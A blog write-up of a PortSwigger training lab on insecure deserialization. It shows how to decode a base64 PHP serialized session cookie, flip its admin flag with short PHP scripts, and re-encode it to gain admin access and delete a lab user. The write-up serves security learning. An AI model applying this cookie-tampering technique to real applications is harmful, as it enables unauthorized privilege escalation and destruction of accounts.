siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Modifying serialized objects | Jan 10, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Modifying serialized objects! Without further ado, let’s dive in.

Background

This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete Carlos’s account.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Login as user wiener:

Burp Suite HTTP history:

When we successfully logged in, a new session cookie has been set:

URL decoded:

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=

As you can see, the last character is =, which is a padding character in base64!

Let’s base64 decode that:

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# echo -n 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=' | base64 -d
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

As you can see, the decoded base64 string is a serialized PHP object!

Let’s break it down:

Armed with above information, we can write a PHP code to serialize and deserialize that PHP object:

<?php
    $deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}';

    $serializedObject = unserialize($deserializedObject);
    echo "[+] Serialized: \n";
    var_dump($serializedObject);
?>
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# php serialization.php
[+] Serialized: 
object(__PHP_Incomplete_Class)#1 (3) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  ["username"]=>
  string(6) "wiener"
  ["admin"]=>
  bool(false)
}

Now, to gain administrator privilege, we can just change the admin attribute to true (1):

<?php
    $deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}';

    $serializedObject = unserialize($deserializedObject);
    echo "[+] Serialized: \n";
    var_dump($serializedObject);

    echo "[+] Base64 encoded: \n" . base64_encode($deserializedObject);
?>
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# php serialization.php 
[+] Serialized: 
object(__PHP_Incomplete_Class)#1 (3) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  ["username"]=>
  string(6) "wiener"
  ["admin"]=>
  bool(true)
}
[+] Base64 encoded: 
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=

Let’s change the session cookie with our newly created PHP serialized object in base64 encoded:

Then refresh the page:

We can access to the admin panel!

Let’s delete user carlos:

What we’ve learned:

  1. Modifying serialized objects